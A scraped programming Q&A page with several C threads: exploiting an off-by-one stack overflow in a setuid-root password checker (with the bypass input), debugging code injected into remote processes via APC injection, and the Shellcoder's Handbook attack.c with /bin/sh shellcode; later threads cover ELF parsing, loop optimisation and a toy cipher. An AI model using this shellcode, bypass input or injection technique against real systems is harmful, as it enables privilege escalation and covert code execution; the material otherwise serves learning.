Creating a basic stack overflow using IDA - c

This program is running with root privileges on my machine and I need to perform a Stack overflow attack on the following code and get root privileges:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <openssl/sha.h>
void sha256(char *string, char outputBuffer[65])
{
unsigned char hash[SHA256_DIGEST_LENGTH];
int i = 0;
SHA256_CTX sha256;
SHA256_Init(&sha256);
SHA256_Update(&sha256, string, strlen(string));
SHA256_Final(hash, &sha256);
for(i = 0; i < SHA256_DIGEST_LENGTH; i++)
{
sprintf(outputBuffer + (i * 2), "%02x", hash[i]);
}
outputBuffer[64] = 0;
}
int password_check(char *userpass)
{
char text[20] = "thisisasalt";
unsigned int password_match = 0;
char output[65] = { 0, };
// >>> hashlib.sha256("Hello, world!").hexdigest()
char pass[] = "315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3";
text[0] = 'a';
text[1] = 't';
text[2] = 'j';
text[3] = '5';
text[4] = '3';
text[5] = 'k';
text[6] = '$';
text[7] = 'g';
text[8] = 'f';
text[9] = '[';
text[10] = ']';
text[11] = '\0';
strcat(text, userpass);
sha256(text, output);
if (strcmp(output, pass) == 0)
{
password_match = 1;
}
return (password_match == 1);
}
int main(int argc, char **argv)
{
if (argc < 3)
{
printf("Usage: %s <pass> <command>\n", argv[0]);
exit(1);
}
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
if (password_check(argv[1]))
{
printf("Running command as root: %s\n", argv[2]);
setuid(0);
setgid(0);
system(argv[2]);
}
else
{
printf("Authentication failed! This activity will be logged!\n");
}
return 0;
}
So I try to analyse the program with IDA and I see the text segment going from the lower addresses to the higher addresses, higher than that I see the data and then the bss and finally external commands.
Now as far as I know the stack should be just above that, but I'm not certain how to view it, how exactly am I supposed to view the stack in order to know what I'm writing on? (Do I even need it or am I completely clueless?)
Second question is considering the length of the input, how do i get around this check in the code:
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
Can I somehow give the string to the program by reference? If so how do I do it? (Again, hoping I'm not completely clueless)

Now as far as I know the stack should be just above that, but I'm not certain how to view it, how exactly am I supposed to view the stack in order to know what I'm writing on? (Do I even need it or am I completely clueless?)
The stack location varies all the time - you need to look at the value of the ESP/RSP register, its value is the current address of the top of the stack. Typically, variable addressing will be based on EBP rather then ESP, but they both will point to the same general area of memory.
During analysis, IDA sets up a stack frame for each function, which acts much like a struct - you can define variables with types and names in it. This frame is summarized at the top of the function:
Double-clicking it or any local variable in the function body will open a more detailed window. That's as good as you can get without actually running your program in a debugger.
You can see that text is right next to password_match, and judging from the addresses, there are 0x14 bytes allocated for text, as one would expect. However, this is not guaranteed and the compiler can freely shuffle the variables around, pad them or optimize them into registers.
Second question is considering the length of the input, how do i get around this check in the code:
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
You don't need to get around this check, it's already broken enough. There's an off-by-one error.
Stop reading here if you want to figure out the overflow yourself.
The valid range of indices for text spans from text[0] through text[19]. In the code, user input is written to the memory area starting at text[11]. The maximum input length allowed by the strlen check is 10 symbols + the NULL terminator. Unfortunately, that means text[19] contains the 9th user-entered symbol, and the 10th symbol + the terminator overflow into adjacent memory space. Under certain circumstances, that allows you to overwrite the least significant byte of password_match with an arbitrary value, and the second least significant byte with a 0. Your function accepts the password if password_match equals 1, which means the 10th character in your password needs to be '\x01' (note that this is not the same character as '1').
Here are two screenshots from IDA running as a debugger. text is highlighted in yellow, password_match is in green.
The password I entered was 123456789\x01.
Stack before user entered password is strcat'd into text.
Stack after strcat. Notice that password_match changed.

Related

Program with while loop causes stack overflow, but only in x86 and only when injected into another process

I have an unfortunately convoluted problem that I am hopeful someone might be able to help me with.
I have written a reasonably large program that I have converted into position independent code (see here for reference: https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/). Basically just meaning that the resulting exe (compiled using mingw) contains data only in the .text section, and thus can be injected into and ran from an arbitrary place in memory. I have successfully ported the program to this format and can compile it for both x86 and x64.
I created two "helper" exe's to run the PIC program, a local injector and a remote injector. The local injector runs the program by calling VirtualAlloc, memcpy, and CreateThread. The remote injector runs the program by calling CreateProcess (suspended), VirtualAllocEx, WriteProcessMemory, QueueAPCThread, and ResumeThread (the last two api's being called on pi.hThread which was returned from CreateProcess).
I am experiencing inconsistent results in the program depending on the architecture and method of execution.
x64 local: works
x64 inject: works
x86 local: works
x86 inject: fails; stack overflow
I have determined that my program is crashing in a while loop in a particular function. This function is used to format data contained in buffers (heap allocated) that are passed in as function args. The raw data buffer (IOBuf) contains a ~325k long string containing Base64 characters with spaces randomly placed throughout. The while loop in question iterates over this buffer and copies non-space characters to a second buffer (IntermedBuf), with the end goal being that IntermedBuf contains the full Base64 string in IOBuf minus the random spaces.
A few notes about the following code snippet:
Because the code is written to be position independent, all api's must be manually resolved which is why you see things like (SPRINTF)(Apis.sprintfFunc). I have resolved the addresses of each API in their respective DLL and have created typedef's for each API that is called. While odd, this is not in itself causing the issue as the code works fine in 3/4 of the situations.
Because this program is failing when injected, I cannot use print statements to debug, so I have added calls to MessageBoxA to pop up at certain places to determine contents of variables and/or if execution is reaching that part of the code.
The relevant code snippet is as follows:
char inter[] = {'I','n','t',' ',0};
char tools[100] = {0};
if (((STRCMP)Apis.strcmpFunc)(IntermedBuf, StringVars->b64Null) != 0)
{
int i = 0, j = 0, strLen = 0, lenIOBuf = ((STRLEN)Apis.strlenFunc)(IOBuf);
((SPRINTF)Apis.sprintfFunc)(tools, StringVars->poi, IOBuf);
((MESSAGEBOXA)Apis.MessageBoxAFunc)(NULL, tools, NULL, NULL);
((MEMSET)Apis.memsetFunc)(tools, 0, 100 * sizeof(char));
((SPRINTF)Apis.sprintfFunc)(tools, StringVars->poi, IntermedBuf);
((MESSAGEBOXA)Apis.MessageBoxAFunc)(NULL, tools, NULL, NULL);
char* locSpace;
while (j < lenIOBuf)
{
locSpace = ((STRSTR)Apis.strstrFunc)(IOBuf + j, StringVars->space);
if (locSpace == 0)
locSpace = IOBuf + lenIOBuf;
strLen = locSpace - IOBuf - j;
((MEMCPY)Apis.memcpyFunc)(IntermedBuf + i, IOBuf + j, strLen);
i += strLen, j += strLen + 1;
}
((MESSAGEBOXA)Apis.MessageBoxAFunc)(NULL, StringVars->here, NULL, NULL);
((MEMSET)Apis.memsetFunc)(IOBuf, 0, BUFFSIZE * sizeof(char));
The first two MessageBoxA calls successfully execute, each containing the address of IOBuf and IntermedBuf respectively. The last call to MessageBoxA, after the while loop, never comes, meaning the program is crashing in the while loop as it copies data from IOBuf to IntermedBuf.
I ran remote.exe which spawned a new WerFault.exe (I have tried with calc, notepad, several other processes with the same result) containing the PIC program, and stuck it into Windbg to try and get a better sense of what was happening. I found that after receiving the first two message boxes and clicking through them, WerFault crashes with a stack overflow caused by a call to strstr:
Examining the contents of the stack at crash time shows this:
Looking at the contents of IntermedBuf (which is one of the arguments passed to the strstr call) I can see that the program IS copying data from IOBuf to IntermedBuf and removing spaces as intended, however the program crashes after copying ~80k.
IOBuf (raw data):
IntermedBuf(After removing spaces)
My preliminary understanding of what is happening here is that strstr (and potentially memcpy) are pushing data to the stack with each call, and given the length of the loop (lengthIOBuf is ~325K, spaces occur randomly every 2-11 characters throught) the stack is overflowing before the while loop finishes and the stack unwinds. However this doesn't explain why this succeeds in x64 in both cases, and in x86 when the PIC program is running in a user-made program as opposed to injected into a legitimate process.
I have ran the x86 PIC program in the local injector, where it succeeds, and also attached Windbg to it in order to examine what is happening differently there. The stack similarly contains the same sort of pattern of characters as seen in the above screenshot, however later in the loop (because again the program succeeds), the stack appears to... jump? I examined the contents of the stack early into the while loop (having set bp on strstr) and see that it contains much the same pattern seen in the stack in the remote injector session:
I also added another MessageBox this time inside the while loop, set to pop when j > lenIOBuf - 500 in order to catch the program as it neared completion of the while loop.
char* locSpace;
while (j < lenIOBuf)
{
if (j > lenIOBuf - 500)
{
((MEMSET)Apis.memsetFunc)(tools, 0, 100 * sizeof(char));
((SPRINTF)Apis.sprintfFunc)(tools, StringVars->poi, IntermedBuf);
((MESSAGEBOXA)Apis.MessageBoxAFunc)(NULL, tools, NULL, NULL);
}
locSpace = ((STRSTR)Apis.strstrFunc)(IOBuf + j, StringVars->space);
if (locSpace == 0)
locSpace = IOBuf + lenIOBuf;
strLen = locSpace - IOBuf - j;
((MEMCPY)Apis.memcpyFunc)(IntermedBuf + i, IOBuf + j, strLen);
i += strLen, j += strLen + 1;
}
When this MessageBox popped, I paused execution and found that ESP was now 649fd80; previously it was around 13beb24?
So it appears that the stack relocated, or the local injector added more memory to the stack or something (I am embarassingly naive about this stuff). Looking at the "original" stack location at this stage in execution shows that the data there previously is still there at this point when the loop is near completion:
So bottom line, this code which runs successfully by all accounts in x64 local/remote and x86 local is crashing when ran in another process in x86. It appears that in the local injector case the stack fills in a similar fashion as in the remote injector where it crashes, however the local injector is relocating the stack or adding more stack space or something which isn't happening in the remote injector. Does anyone have any ideas why, or more importantly, how I could alter the code to achieve the goal of removing spaces from a large, arbitrary buffer in a different way where I might not encounter the overflow that I am currently?
Thanks for any help
typedef void*(WINAPI* MEMCPY)(void * destination, const void * source, size_t num);
typedef char*(WINAPI* STRSTR)(const char *haystack, const char *needle);
is wrong declarations. both this api used __cdecl calling convention - this mean that caller must up stack ( add esp,4*param_count) after call. but because you declare it as __stdcall (== WINAPI) compiler not generate add esp,4*param_count instruction. so you have unbalanced push for parameters.
you need use
typedef void * (__cdecl * MEMCPY)(void * _Dst, const void * _Src, _In_ size_t _MaxCount);
typedef char* (__cdecl* STRSTR)(_In_z_ char* const _String, _In_z_ char const* const _SubString);
and so on..
Familiar with what you are doing, and frankly I moved onto compiling some required functions (memcpy, etc) instead of manually looking them up and making external calls.
For example:
inline void* _memcpy(void* dest, const void* src, size_t count)
{
char *char_dest = (char *)dest;
char *char_src = (char *)src;
if ((char_dest <= char_src) || (char_dest >= (char_src+count)))
{
/* non-overlapping buffers */
while(count > 0)
{
*char_dest = *char_src;
char_dest++;
char_src++;
count--;
}
}
else
{
/* overlaping buffers */
char_dest = (char *)dest + count - 1;
char_src = (char *)src + count - 1;
while(count > 0)
{
*char_dest = *char_src;
char_dest--;
char_src--;
count--;
}
}
return dest;
}
inline char * _strstr(const char *s, const char *find)
{
char c, sc;
size_t len;
if ((c = *find++) != 0)
{
len = strlen(find);
do {
do {
if ((sc = *s++) == 0)
return 0;
} while (sc != c);
} while (strncmp(s, find, len) != 0);
s--;
}
return (char *)((size_t)s);
}
Credits for the above code from ReactOS. You can lookup the rest required (strlen, etc.)

"The Shellcoder's Handbook" attack.c does not make sense

From "The Shellcoder's Handbook", victim.c is as follows
// victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}
Its exploit, attack.c is as follows
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)
unsigned long find_start(void) {
__asm__("movl %esp,%eax"); //Get ESP's value and return it.
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
ptr = buff; assigns buff's garbage value to ptr(buff is not initialized). The subsequent line, addr_ptr = (long *) ptr;, assigns ptr's value (buff's garbage value) to addr_ptr. The author's intent on these lines are not clear to me. addr_ptr is supposed to contain the address to which the program jump, preferrably the NOP sled, when it retrieves the saved EIP. However, addr_ptr contains garbage value instead.
I believe buff should be dynamically allocated, using malloc first.
I know "The Shellcoder's Handbook" has many errors, but it is one of the few books that talks about Software exploitation.
On line 26
addr = find_start() - offset;
addr is set to the target return address, so it's not really garbage.
From my understanding what the authors do is to first fill the whole buffer with addr repeatedly, so that this serves both as garbage data and as return address to overwrite the stored EIP. Additionally, doing this allows them to not care about the right offset to place the return address, provided the buffer is well DWORD aligned on the stack.
Then they overwrite the beginning of the "garbage data part" of this buffer with BUF= followed by the shellcode. This works because BUF= is of length 4, so it does not break the DWORD alignment.
Yes buff should be allocated. Note that if you check the nopattack.c in the following pages where they add the NOP sled to the exploit, then you see that it is indeed allocated on line 28:
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
Also, if you compare attack.c and nopattack.c, the codes have quite some differences (allocation, variable and function names, #define constants capitalized...) which is surprising when the latter code is supposed to be just one iteration after the former. This suggests a refactoring may have been made at some point when they wrote the book (or the second edition), and the error could come from this.

Elf Symtab Parsing Null Pointer

Hate to ask people to help me debug my code but really stuck on this. I have a simple code snippet for going through the symbols in symtab and then printing them to the console. Apparently, I have an null pointer in the calls to printf and strcmp (resulting in segfault), but I can't seem to figure out why.
Here is the code snippet:
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <elf.h>
#include <fcntl.h>
#ifdef DEBUG
#define PRINTDEBUG(x) printf x //variable number of arguments
#else
#define PRINTDEBUG(x) do{} while(0)
#endif
uint32_t main(int argc, char** argv){
char* filename = argv[1];
char* sym_name = argv[2];
int fd = open(filename, O_RDONLY);
struct stat st;
stat(fd, &st);
char mem[st.st_size];
read(fd, mem, st.st_size);
Elf32_Ehdr* ehdr;
Elf32_Shdr* shdr; //generic entry for enumerating sections
Elf32_Shdr strtab; //holds string in symtab
Elf32_Shdr symtab;
char* sh_strtab; //hold sections names
Elf32_Sym* sym;
ehdr = (Elf32_Ehdr *)mem;
shdr = (Elf32_Shdr* )(mem + ehdr->e_shoff);
PRINTDEBUG(("number of section headers: %d\n", ehdr->e_shnum)); //need double brackets for variable #of arguments
sh_strtab = (char *)(mem + (shdr[ehdr->e_shstrndx].sh_offset));
//find address of symtab and strtab
for(int i = 0; i < ehdr->e_shnum; i++){
if(shdr[i].sh_size){
printf("%s\n", &sh_strtab[shdr[i].sh_name]);
if(strcmp(&sh_strtab[shdr[i].sh_name], ".strtab") == 0)
strtab = shdr[i];
if(strcmp(&sh_strtab[shdr[i].sh_name], ".symtab") == 0)
symtab = shdr[i];
}
}
PRINTDEBUG(("symtab offset %x\n", symtab.sh_offset));
PRINTDEBUG(("strtab offset %x\n", strtab.sh_offset));
char* symtab_str = (char *)(mem + strtab.sh_offset);
sym = (Elf32_Sym* )(mem + symtab.sh_offset);
printf("Symbol names: \n");
for(int i = 0; i < (symtab.sh_size / symtab.sh_entsize); i++, sym++){
printf("%x\n",&symtab_str[sym->st_name]);
if(strcmp(&symtab_str[sym->st_name], sym_name) ==0)
printf("not crahsed\n");
//TODO: resolve reloc'd syms
}
}
The null pointer occurs at &symtab_str[sym->st_name]. Weird thing is, I've looked at the assembly with the debugger and it shows &symtab_str[sym->st_name] pointing to the correct value, i.e. the first string in .strtab.
EDIT: Posted the code snippet that should trigger the segfault. Compile with "-m32" flag for gcc. Provide the pathname for a 32bit Elf file as the first run parameter. i.e.
./symtab_parse test_file
I already got this working as I originally intended. However, I am not sure about the cause of the segfault, and as pointed out by EmployedRussian, my original answer was not the root cause of the problem. Would like to really get to the bottom of this mystery, and hopefully learn something from it.
As you can see, the address stored in eax points to the first string in .strtab, so why am I getting a null pointer when passing this to strcmp?
The code snippet you showed appears to be correct, and if eax is 0xffd6a030 at the call to strcmp, then by definition it is not NULL.
Your (unsupported by evidence) assertion that it is NULL is what appears to be wrong (in other words, you are probably mis-interpreting something, and you didn't show that something).
According to this section from the ELF specs:
String table sections hold null-terminated character sequences,
commonly called strings. The object uses these strings to represent
symbol and section names. One references a string as an index into
the string table section. The first byte, which is index zero, is
defined to hold a null character.
This means that symtab_str[0] points to a null character, which when dereferenced in strcmp, resulted in a Segfault. Modifying the code to check for the null string before performing the strcmp fixed the problem.

c - Avoid if in loop

Context
Debian 64.
Core 2 duo.
Fiddling with a loop. I came with different variations of the same loop but I would like to avoid conditional branching if possible.
But, even if I think it will be difficult to beat.
I thought about SSE or bit shifting but still, it would require a jump (look at the computed goto below). Spoiler : a computed jump doesn't seems to be the way to go.
The code is compiled without PGO. Because on this piece of code, it makes the code slower..
flags :
gcc -march=native -O3 -std=c11 test_comp.c
Unrolling the loop didn't help here..
63 in ascii is '?'.
The printf is here to force the code to execute. Nothing more.
My need :
A logic to avoid the condition. I assume this as a challenge to make my holydays :)
The code :
Test with the sentence. The character '?' is guaranteed to be there but at a random position.
hjkjhqsjhdjshnbcvvyzayuazeioufdhkjbvcxmlkdqijebdvyxjgqddsyduge?iorfe
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv){
/* This is quite slow. Average actually.
Executes in 369,041 cycles here (cachegrind) */
for (int x = 0; x < 100; ++x){
if (argv[1][x] == 63){
printf("%d\n",x);
break;
}
}
/* This is the slowest.
Executes in 370,385 cycles here (cachegrind) */
register unsigned int i = 0;
static void * restrict table[] = {&&keep,&&end};
keep:
++i;
goto *table[(argv[1][i-1] == 63)];
end:
printf("i = %d",i-1);
/* This is slower. Because of the calculation..
Executes in 369,109 cycles here (cachegrind) */
for (int x = 100; ; --x){
if (argv[1][100 - x ] == 63){printf("%d\n",100-x);break;}
}
return 0;
}
Question
Is there a way to make it faster, avoiding the branch maybe ?
The branch miss is huge with 11.3% (cachegrind with --branch-sim=yes).
I cannot think it is the best one can achieve.
If some of you manage assembly with enough talent, please come in.
Assuming you have a buffer of well know size being able to hold the maximum amount of chars to test against, like
char buffer[100];
make it one byte larger
char buffer[100 + 1];
then fill it with the sequence to test against
read(fileno(stdin), buffer, 100);
and put your test-char '?' at the very end
buffer[100] = '?';
This allows you for a loop with only one test condition:
size_t i = 0;
while ('?' != buffer[i])
{
++i;
}
if (100 == i)
{
/* test failed */
}
else
{
/* test passed for i */
}
All other optimisation leave to the compiler.
However I couldn't resist, so here's a possible approach to do micro optimisation
char buffer[100 + 1];
read(fileno(stdin), buffer, 100);
buffer[100] = '?';
char * p = buffer;
while ('?' != *p)
{
++p;
}
if ((p - buffer) == 100)
{
/* test failed */
}
else
{
/* test passed for (p - buffer) */
}

Generating Random ASCII

I've Been trying to work on a very simple encryption routine , It should work like this :
-- Generate A Random Key of ASCII Characters (Just a permutation of the ascii table)
-- For Every char in the File to be encrypted , Get Its Decimal Representation(X) , Then Replace it with the char at Index X at the key.
The problem is that It corrupts some files and I Have no idea why.
Any help would be appreciated.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
int main()
{
int temp,used[256];
char *key,*mFile;
long i,fSize;
memset(used,0,sizeof(used));
srand(time(NULL));
FILE *pInput = fopen("Input.in","rb");
FILE *pOutput = fopen("Encrypted.out","wb");
FILE *pKeyOutput = fopen("Key.bin","wb");
if(pInput==NULL||pOutput==NULL||pKeyOutput==NULL)
{
printf("File I/O Error\n");
return 1;
}
key = (char*)malloc(255);
for(i=0;i<256;i++)
{
temp = rand()%256;
while(used[temp])
temp = rand()%256;
key[i] = temp;
used[temp] = 1;
}
fwrite(key,1,255,pKeyOutput);
fseek(pInput,0,SEEK_END);
fSize = ftell(pInput);
rewind(pInput);
mFile = (char*)malloc(fSize);
fread(mFile,1,fSize,pInput);
for(i=0;i<fSize;i++)
{
temp = mFile[i];
fputc(key[temp],pOutput);
}
fclose(pInput);
fclose(pOutput);
fclose(pKeyOutput);
free(mFile);
free(key);
return 0;
}
The Decryption Routine :
#include <stdio.h>
#include <stdlib.h>
int main()
{
int temp,j;
char *key,*mFile;
long i,fSize;
FILE *pKeyInput = fopen("key.bin","rb");
FILE *pInput = fopen("Encrypted.out","rb");
FILE *pOutput = fopen("Decrypted.out","wb");
if(pInput==NULL||pOutput==NULL||pKeyInput==NULL)
{
printf("File I/O Error\n");
return 1;
}
key = (char*)malloc(255);
fread(key,1,255,pKeyInput);
fseek(pInput,0,SEEK_END);
fSize = ftell(pInput);
rewind(pInput);
mFile = (char*)malloc(fSize);
fread(mFile,1,fSize,pInput);
for(i=0;i<fSize;i++)
{
temp = mFile[i];
for(j=0;j<256;j++)
{
if(key[j]==temp)
fputc(j,pOutput);
}
}
fclose(pInput);
fclose(pOutput);
fclose(pKeyInput);
free(mFile);
free(key);
return 0;
}
Make sure you use unsigned char; if char is signed, things will go wrong when you process characters in the range 0x80..0xFF. Specifically, you'll be accessing negative indexes in your 'mapping table'.
Of course, strictly speaking, ASCII is a 7-bit code set and any character outside the range 0x00..0x7F is not ASCII.
You only allocate 255 bytes but you then proceed to overwrite one byte beyond what you allocate. This is a basic buffer overflow; you invoke undefined behaviour (which means anything may happen, including the possibility that it seems to work correctly without causing trouble - on some machines).
Another problem is that you write mappings for 255 of the 256 possible byte codes, which is puzzling. What happens with the other byte value?
Of course, since you write the 256-byte mapping to the 'encrypted' file, it will be child's play to decode; the security in this scheme is negligible. However, as a programming exercise, it still has some merit.
There is no reason to slurp the entire file and then write it out byte by byte. You can perfectly well read it byte by byte as well as write it byte by byte. Or you could slurp the whole file, map it in situ, and then write the whole file in one go. Consistency is important in programming.

Resources